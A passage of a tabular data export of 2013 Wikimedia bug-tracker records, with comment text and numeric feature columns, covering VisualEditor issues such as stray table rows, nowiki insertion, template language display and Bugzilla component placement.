That's possible, I haven't checked what happens when Tidy is disabled.",,,1371497885,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-xbihpnurfxbt3vghqoxr,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,6.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,26.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,3.0,6.0,12.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.264705882352941,0.7352941176470589,"(In reply to comment #5)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
That's possible, I haven't checked what happens when Tidy is disabled."
244534,"VisualEditor: Tables with a faulty <tr> at their end display it, confusing users","(In reply to comment #4)
> This is a Parsoid bug. The PHP parser does not generate a <tr> for this
> wikitext, and Parsoid does.

Does the PHP parser create it but it then gets tidied away?",,,1371497466,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xbihpnurfxbt3vghqoxr,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,8.0,0.0,4.0,0.0,8.0,8.0,8.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1538461538461537,0.8846153846153846,"(In reply to comment #4)
QUOTE
QUOTE

Does the PHP parser create it but it then gets tidied away?"
244526,"VisualEditor: Tables with a faulty <tr> at their end display it, confusing users","This is a Parsoid bug. The PHP parser does not generate a <tr> for this wikitext, and Parsoid does.",,,1371497353,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-xbihpnurfxbt3vghqoxr,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,21.0,0.0,4.0,21.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,3.375,0.8333333333333334,"This is a Parsoid bug. The PHP parser does not generate a <tr> for this wikitext, and Parsoid does."
244519,"VisualEditor: Tables with a faulty <tr> at their end display it, confusing users","(In reply to comment #2)
> Makes sense. Alternately would it be possible to add it in as a rule to
> Parsoid's voodo wikimarkup-fixing stuff? If a |- is followed by nothing and
> then a |}...

But some gadgets might rely on that meaning something special for some users. Everything we change or ""fix"" potentially breaks things for some (other) users. :-(",,,1371497109,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xbihpnurfxbt3vghqoxr,task_subcomment,,True,c1,2,True,,,-2,,6.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,11.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,9.0,0.0,0.0,0.0,2.0,6.0,0.0,2.0,0.0,2.0,11.0,2.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.74468085106383,0.7446808510638298,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE

But some gadgets might rely on that meaning something special for some users. Everything we change or ""fix"" potentially breaks things for some (other) users. :-("
244513,"VisualEditor: Tables with a faulty <tr> at their end display it, confusing users",Makes sense. Alternately would it be possible to add it in as a rule to Parsoid's voodo wikimarkup-fixing stuff? If a |- is followed by nothing and then a |}...,,,1371497019,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-xbihpnurfxbt3vghqoxr,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,3.0,0.0,5.0,3.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,3.0,5.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,5.0,11.0,3.0,3.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,16.0,3.0,3.0,0.0,0.0,5.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,3.5405405405405403,0.8918918918918919,Makes sense. Alternately would it be possible to add it in as a rule to Parsoid's voodo wikimarkup-fixing stuff? If a |- is followed by nothing and then a |}...
244508,"VisualEditor: Tables with a faulty <tr> at their end display it, confusing users","This is not a bug (well, it's not a bug with VE :-)) - the three ""broken"" tables all have 

  |-
  | <content>
  |-
  |}

… at the end, which is not the case for the third ""working"" one. What you see is the result of broken wikitext.

VE is good, but it can't be psychic about what you wanted to do with that that extra table row (maybe you wanted to expand the table and were half-way through?) so behaviour is ""as intended"". Marking as INVALID; in general broken wikitext like this can't be trivially fixed by a bot, due to wikitext's complexities, but it might be worth exploring.",,,1371496639,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xbihpnurfxbt3vghqoxr,task_subcomment,,True,c1,2,True,,,-2,,0.5,0.0,0.0,0.5,3.0,5.5,4.0,0.0,0.0,0.0,2.0,1.5,0.5,0.0,0.0,0.0,0.0,7.0,9.0,0.0,1.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.5,0.0,0.0,4.0,0.5,1.5,0.0,2.0,0.0,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.5,2.5,0.0,0.0,0.0,11.0,1.0,1.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,5.0,5.5,3.5,0.0,2.0,8.5,0.0,0.5,0.0,0.0,3.5,0.5,1.0,0.0,3.5,9.0,2.5,0.5,3.5,0.0,3.5,0.0,1.5,1.5,0.0,2.0,0.0,0.0,0.5,3.3067922374429224,0.7246004566210045,"This is not a bug (well, it's not a bug with VE :-)) - the three ""broken"" tables all have 

  |-
  | <content>
  |-
  |}

… at the end, which is not the case for the third ""working"" one. What you see is the result of broken wikitext.

VE is good, but it can't be psychic about what you wanted to do with that that extra table row (maybe you wanted to expand the table and were half-way through?) so behaviour is ""as intended"". Marking as INVALID; in general broken wikitext like this can't be trivially fixed by a bot, due to wikitext's complexities, but it might be worth exploring."
51687,VisualEditor: Template displaying in the incorrect language,"See the bottom of https://en.wikipedia.org/wiki/Chad_Griffin for example - it also occurs at https://en.wikipedia.org/wiki/3rd_Brahmans and https://en.wikipedia.org/wiki/In_re_Estate_of_Gardiner (each time in a different language; Russian, Vietnamese and French respectively).

I have no idea what's going on, but this seems pretty important to solve for.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1371468780,1371510441.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-ss2itizzzz4vdy6z2bwv,task_description,resolved,True,c1,2,False,False,True,-2,,1.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,1.0,0.0,0.0,1.0,0.0,3.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,15.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,10.0,4.0,0.0,0.0,0.0,3.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,3.8088235294117645,0.7647058823529411,"See the bottom of URL for example - it also occurs at URL and URL (each time in a different language; Russian, Vietnamese and French respectively).

I have no idea what's going on, but this seems pretty important to solve for.

--------------------------
**Version**: unspecified
**Severity**: normal"
244274,VisualEditor: Template displaying in the incorrect language,"This is previously reported (and also they think fixed).

*** This bug has been marked as a duplicate of bug 49411 ***",,,1371510441,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ss2itizzzz4vdy6z2bwv,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,7.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.2666666666666666,0.7666666666666667,"This is previously reported (and also they think fixed).

*** This bug has been marked as a duplicate of bug 49411 ***"
51684,VisualEditor: nowiki tags added to references (and references split up (and content dropped)),"An example is https://en.wikipedia.org/w/index.php?title=Valotte&diff=559961373&oldid=559939306 - another is https://en.wikipedia.org/w/index.php?title=The_Day_the_World_Gets_%27Round&diff=559962523&oldid=559851975 where the VisualEditor seems to have taken it upon itself to drop content and convert templates into pure reference tags

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1371466320,1371671665.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-k4uqhsrhnkkuz3d2z6l6,task_description,resolved,True,c1,2,False,False,True,-2,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,4.0,13.0,4.0,2.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,9.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,4.3478260869565215,0.7391304347826086,"An example is URL - another is URL where the VisualEditor seems to have taken it upon itself to drop content and convert templates into pure reference tags

--------------------------
**Version**: unspecified
**Severity**: normal"
243906,VisualEditor: nowiki tags added to references (and references split up (and content dropped)),[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372934078,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-k4uqhsrhnkkuz3d2z6l6,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,4.814814814814815,0.8888888888888888,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704]
243902,VisualEditor: nowiki tags added to references (and references split up (and content dropped)),"The {{#tag:ref|…}} issues should now be fixed in production.

The specific issues of adding <nowiki>s around wiki-able elements of tables is also, I believe, fixed in production.

<nowiki>s around wikitext are, of course, intentional.",,,1371671665,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-k4uqhsrhnkkuz3d2z6l6,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,12.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,12.0,12.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,3.440677966101695,0.6610169491525424,"The {{#tag:ref|…}} issues should now be fixed in production.

The specific issues of adding <nowiki>s around wiki-able elements of tables is also, I believe, fixed in production.

<nowiki>s around wikitext are, of course, intentional."
243898,VisualEditor: nowiki tags added to references (and references split up (and content dropped)),Nowiki tags are also being entered around elements of tables - see https://en.wikipedia.org/w/index.php?title=Guy_McKenna&curid=1748898&diff=560026334&oldid=560026013,,,1371475258,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-k4uqhsrhnkkuz3d2z6l6,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.461538461538462,1.0,Nowiki tags are also being entered around elements of tables - see URL
51683,VisualEditor: Unexpected padding,"See the tabs on https://en.wikipedia.org/wiki/User:Panpog1 for example.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1371466080,1372015377.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-jzepbqpzu7s7bfg4k2ua,task_description,resolved,True,c1,2,False,False,True,-2,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.769230769230769,0.6538461538461539,"See the tabs on URL for example.

--------------------------
**Version**: unspecified
**Severity**: normal"
243852,VisualEditor: Unexpected padding,Fixed.,,,1372015377,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-jzepbqpzu7s7bfg4k2ua,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,Fixed.
51643,UniversalLanguageSelector Does not work with VisualEditor,"**Author:** `bellayet`

**Description:**
At bn Wikipedia ULS does not working with recently added VisualEditor beta.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1371403200,1371409196.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-6tdi4t2hiwd4kw4wdp3k,task_description,resolved,True,c1,2,False,False,True,-3,,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.8636363636363638,0.5909090909090909,"**Author:** CODE

**Description:**
At bn Wikipedia ULS does not working with recently added VisualEditor beta.

--------------------------
**Version**: unspecified
**Severity**: normal"
241617,UniversalLanguageSelector Does not work with VisualEditor,"True, thanks for reporting. Despite the mysterious bug summary, this is known as bug 49569 :) and is being actively worked on as GSoC project.

*** This bug has been marked as a duplicate of bug 49569 ***",,,1371409196,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-6tdi4t2hiwd4kw4wdp3k,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,6.0,0.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,9.0,2.0,2.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.574468085106383,0.7021276595744681,"True, thanks for reporting. Despite the mysterious bug summary, this is known as bug 49569 :) and is being actively worked on as GSoC project.

*** This bug has been marked as a duplicate of bug 49569 ***"
241610,UniversalLanguageSelector Does not work with VisualEditor,"**bellayet** wrote:

ULS Input tool is not supporting VisualEditor.",,,1371405203,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-6tdi4t2hiwd4kw4wdp3k,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.75,0.8125,"**bellayet** wrote:

ULS Input tool is not supporting VisualEditor."
51637,VisualEditor bugzilla component should be under MediaWiki extensions,"I failed to find it under extensions where I was expecting it to be.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1371382800,1371416756.0,PHID-USER-732lqsmz4v6bss3kln2v,False,,False,PHID-TASK-5ezr4schgjcznl2chb3p,task_description,declined,True,c1,2,True,False,True,-3,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,9.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,6.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,9.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.8484848484848486,0.6363636363636364,"I failed to find it under extensions where I was expecting it to be.

--------------------------
**Version**: unspecified
**Severity**: normal"
241253,VisualEditor bugzilla component should be under MediaWiki extensions,"(In reply to comment #6)
> To be fair the bug summary is rather generic. It would make sense to have a
> placeholder under ""MediaWiki extensions"", or maybe a mention of the product
> somewhere.

The plan is to split the codebase after the beta deployment in a few weeks' time into ""VisualEditor core"" and ""a MediaWiki plug-in that uses this foreign library called VisualEditor"".

At that point, it might make sense to re-activate ""MediaWiki extensions > VisualEditor"", if only because that's where people might look for it; I'm happy to triage bugs in two places. In practice you'd likely have most bugs for MW-VE be dependent on VE-core bugs, but that's still manageable.

@Andre, thoughts on this?",,,1371422998,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5ezr4schgjcznl2chb3p,task_subcomment,,True,c1,2,True,,,-3,,0.5,0.0,0.0,0.0,0.0,4.5,1.5,1.0,0.0,1.0,3.0,2.0,0.0,1.0,0.0,1.0,0.0,3.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,1.0,0.0,3.5,0.5,1.5,1.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,0.5,0.0,14.5,2.5,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,2.5,1.5,10.5,2.5,1.5,6.0,0.0,0.0,0.0,0.5,6.5,0.0,1.5,0.0,3.0,12.0,5.0,1.0,4.0,0.0,3.0,0.0,1.5,1.0,0.0,0.0,0.0,1.0,1.0,3.65625,0.78125,"(In reply to comment #6)
QUOTE
QUOTE
QUOTE

The plan is to split the codebase after the beta deployment in a few weeks' time into ""VisualEditor core"" and ""a MediaWiki plug-in that uses this foreign library called VisualEditor"".

At that point, it might make sense to re-activate ""MediaWiki extensions > VisualEditor"", if only because that's where people might look for it; I'm happy to triage bugs in two places. In practice you'd likely have most bugs for MW-VE be dependent on VE-core bugs, but that's still manageable.
SCREEN_NAME, thoughts on this?"
241243,VisualEditor bugzilla component should be under MediaWiki extensions,"To be fair the bug summary is rather generic. It would make sense to have a placeholder under ""MediaWiki extensions"", or maybe a mention of the product somewhere.",,,1371420335,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-5ezr4schgjcznl2chb3p,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,9.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,12.0,3.0,0.0,6.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.090909090909091,0.8787878787878788,"To be fair the bug summary is rather generic. It would make sense to have a placeholder under ""MediaWiki extensions"", or maybe a mention of the product somewhere."
241237,VisualEditor bugzilla component should be under MediaWiki extensions,"The visual editor backend for MediaWiki, once split out, will actually be a MediaWiki extension, and for that one a component will be created under ""MediaWiki extensions"" in Bugzilla.
The VisualEditor product itself will be MW-independent and hence a product on its own. Like now.

> I don't see why VisualEditor can't have an entry in MediaWiki extensions.

Because the VE product has components in Bugzilla, and Bugzilla does not allow subcomponents (components that are part of a component).
If I make the VE product a component under the ""MediaWiki extensions"" product in Bugzilla, VE will have to lose all its components. And we don't want that because it's complex enough to have components.",,,1371416756,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-5ezr4schgjcznl2chb3p,task_subcomment,,True,c1,2,True,,,-3,,1.0,0.0,0.0,0.5,1.5,3.0,1.0,1.5,0.0,1.0,2.5,1.0,0.0,0.0,0.0,1.5,0.0,4.5,10.5,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.5,0.0,4.5,0.0,2.5,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,2.0,0.0,0.5,0.0,1.0,0.0,11.5,0.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,6.0,2.5,13.0,2.0,2.5,8.5,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,10.5,8.0,0.0,2.5,0.0,4.0,0.0,1.0,3.0,0.5,0.0,0.0,0.0,0.0,4.173115079365079,0.7087053571428572,"The visual editor backend for MediaWiki, once split out, will actually be a MediaWiki extension, and for that one a component will be created under ""MediaWiki extensions"" in Bugzilla.
The VisualEditor product itself will be MW-independent and hence a product on its own. Like now.

QUOTE

Because the VE product has components in Bugzilla, and Bugzilla does not allow subcomponents (components that are part of a component).
If I make the VE product a component under the ""MediaWiki extensions"" product in Bugzilla, VE will have to lose all its components. And we don't want that because it's complex enough to have components."
241232,VisualEditor bugzilla component should be under MediaWiki extensions,"I don't see why VisualEditor can't have an entry in MediaWiki extensions. It's a MediaWiki extension. This is a reasonable place to look for it. You can add a note in the description about filing the bugs under a different product, but we certainly don't to lose bugs because people can't figure out where to file 